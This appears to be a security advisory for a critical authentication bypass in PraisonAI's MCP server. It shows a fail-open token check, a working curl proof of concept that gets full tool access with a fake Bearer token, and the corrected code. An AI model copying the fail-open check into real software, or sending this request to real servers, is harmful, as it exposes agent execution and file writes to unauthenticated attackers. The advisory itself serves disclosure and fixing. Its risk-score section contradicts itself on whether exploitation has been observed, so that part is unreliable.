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GHSA-98f9-fqg5-hvq5

CriticalCVSS 9.1 / 10
Published Apr 1, 2026·Last modified Apr 6, 2026
Affected Components(0)

No affected components available

Description

Summary

OAuthManager.validate_token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.

Details

oauth.py:364 (source) -> oauth.py:374 (loop miss) -> oauth.py:381 (sink)

# source
def validate_token(self, token: str) -> bool:
    for stored_token in self._tokens.values():
        if stored_token.access_token == token:
            return not stored_token.is_expired()

# sink -- _tokens is empty by default, loop never executes, falls through
    return True

PoC

# install: pip install -e src/praisonai
# start server: praisonai mcp serve --transport http-stream --port 8080

curl -s -X POST http://127.0.0.1:8080/mcp \
  -H "Authorization: Bearer fake_token_abc123" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/list","id":1}'

# expected output: 200 OK with full tool list (50+ tools)
# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write

Impact

Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to 0.0.0.0 by default with no API key required.

Suggested Fix

def validate_token(self, token: str) -> bool:
    for stored_token in self._tokens.values():
        if stored_token.access_token == token:
            return not stored_token.is_expired()
    # Unknown tokens must be rejected.
    # For external/JWT tokens, call the introspection endpoint here before returning.
    return False
Risk Scores
Base Score
9.1

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
8.3

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.38%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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